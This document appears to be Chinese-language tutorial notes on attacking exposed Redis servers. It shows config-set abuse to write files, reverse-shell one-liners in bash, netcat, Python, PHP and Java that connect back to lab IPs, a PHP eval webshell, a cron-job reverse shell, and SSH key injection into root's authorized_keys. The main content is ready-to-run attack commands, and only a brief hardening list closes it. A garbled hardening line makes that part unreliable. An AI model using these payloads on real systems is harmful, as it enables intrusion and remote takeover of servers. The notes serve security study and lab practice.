目录
Redis
Redis持久化
动态修改配置
使用反弹连接的情况
常见监听端口的方式
常见建立反弹连接的方式
流程
Linux crontab
cron文件存储路径
利用Redis实现攻击
1.webshell提权案例
2.定时任务shell反弹案例
3.SSH Key getshell案例
编辑Redis其他利用方式
Redis加固
Redis
1.数据类型丰富,应用场景广泛
2.纯内存的数据结构,读写速度快
3.功能特性丰富(持久化、事务、pipeline、多语言支持、集群分布式)
Redis持久化
RDB Redis DataBase (默认)
AOF Append Only File
配置:
1.save 3600 1 #自动触发规则
2.dbfilename dump.rdb #文件名
3.dir ./ #存储路径
手动触发保存命令:save / bgsave
动态修改配置
config set:动态修改配置,重启以后失效
config set dir /var/www/html
config set dbfilename redis.php
使用反弹连接的情况
1.内网,私有IP
2.IP动态变化
3.6379端口不允许入方向
4.一句话木马被杀软删除
常见监听端口的方式
类型 | 命令 |
netcat | nc -lvnp 8888 |
msf | msfconsole use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 192.168.6.131 set lport 8888 run |
socat | socat TCP-LISTEN:8888 - (kali) |
常见建立反弹连接的方式
类型 | 命令 |
Linux bash | bash -i >& /dev/tcp/192.168.6.131/8888 0>&1 |
netcat | nc -e /bin/bash 192.168.6.131 8888 |
Python | python - c " import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.142.44',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']); |
PHP | php -r 'exec("/bin/bash -i >& /dev/tcp/192.168.6.131 8888");' php -r '$sock=fsockopen("192.168.6.131",8888);exec("/bin/bash -i<&3 >&3 2>&3");' |
Java | r=Runtime.getRuntime() p= r.(["/bin/bash","-c",exec 5<>/dev/tcp/192.168.6.131/8888;cat<&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() |
... | ... |
bash反弹连接
bash -i >& /dev/tcp/192.168.6.131/8888 0>&1
打开一个交互式的bash终端
与远程机器建立一个socket连接
将标准错误输出合并到标准输出中
将标准输入重定向到标准输出中
防火墙CentOS
systemctl status firewalld
systemctl start firewalld
firewall-cmd --zone=public --add-port=7777/tcp -- permanent
firewall-cmd --reload
systemctl stop firewalld
流程
1.监听端口
2.执行命令,或者上传payload访问,建立连接
上传
1.文件上传漏洞
2.写入文件:MySQL、Redis、CMS
3.文本编辑命令:tee(vulnhub-breach)、test.py(vulnhub-DC9)
执行
访问或者定时任务自动触发
Linux crontab
命令 | 操作 |
crontab -u root -r | 删除某个用户的任务 |
crontab -u root time.cron | 把文件添加到某个用户的任务 |
crontab -u root -l | 列举某个用户的任务 |
crontab -u root -e | 编辑某个用户的任务 |
cron文件存储路径
路径 | 内容 |
/var/spool/cron | 这个文件负责安排由系统管理员制定的维护系统以及其他任务的crontab |
/etc/crontab | 放的是对应周期的任务dalily、hourly 、monthly、weekly |
利用Redis实现攻击
1.webshell提权案例
server:192.168.6.66
client:192.168.6.131
client:写入一句话木马
set h "<?php @eval($_POST[cmd]); ?>"
server:利用蚁剑连接
2.定时任务shell反弹案例
client: 在定时任务里写入反弹shell
set m "\n* * * * * bash -i >& /dev/tcp/192.168.6.131/8888 0>&1\n"
server:查看定时任务
client:反弹成功
3.SSH Key getshell案例
SSH key免密登录
1.客户端生成密钥对(公钥、私钥)
2.客户端把公钥发给服务端保存(正常情况需要密码)
3.客户端用私钥加密消息,发给服务端
4.服务端用公钥解密,解密成功,说明密钥匹配
5.客户端免密登录成功“你之前保存了我的公钥,所以可以解密我的消息,所以认得我”
redis利用SSH Key提权流程
控制机连接到Redis
向$HOME/.ssh/authorized_keys写入公钥
ssh -i ./id_rsa user@IP 使用私钥免密登录
执行后续操作
前提:server有.ssh
client:生成密钥
ssh-keygen
set mmm "\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9KGMsE6w9Ocjp2q3u0kqCSSrG6IwtP2/w92knpb+PRV8XXNQSAtIi/zMefBh0XLyMOoZ+6zBU7jz6Xfzsa9f6KtAegDtEGHAv/9iFsklMs8WnM2q0CJ8xw4wZztCAl5Aiy06iWcb10pJBNCcWhm5NGe8ZjSaIaLLNYLKqN3I2WxWB8hYHtBCU4fdoEc/eXKGhG6lip0WNV9tTgb0NI352wl7QcbjGK0+cl1inryb7TXkftoxgLXgMq7o4SSchCpNPvlESfKJ6C9BXC09Z/4Tu/fHLZ6pFXj6jfZfX0TKMsaiW6XFhvYtQUDWZc23zhCBXecpJzNfYosXDONnGpNWf root@localhost.localdomain\n\n\n"
server:
client利用私钥登录
ssh -i ./id_rsa root@192.168.6.66
Redis其他利用方式
基于主从复制的RCE(Remote Code Execution)
jackson 反序列化利用
lua RCE
Redis密码爆破
Redis加固
1.限制访问IP
2.修改默认端口
3.使用密码St访ruct问ured Query Language
4.不要用root运行Redis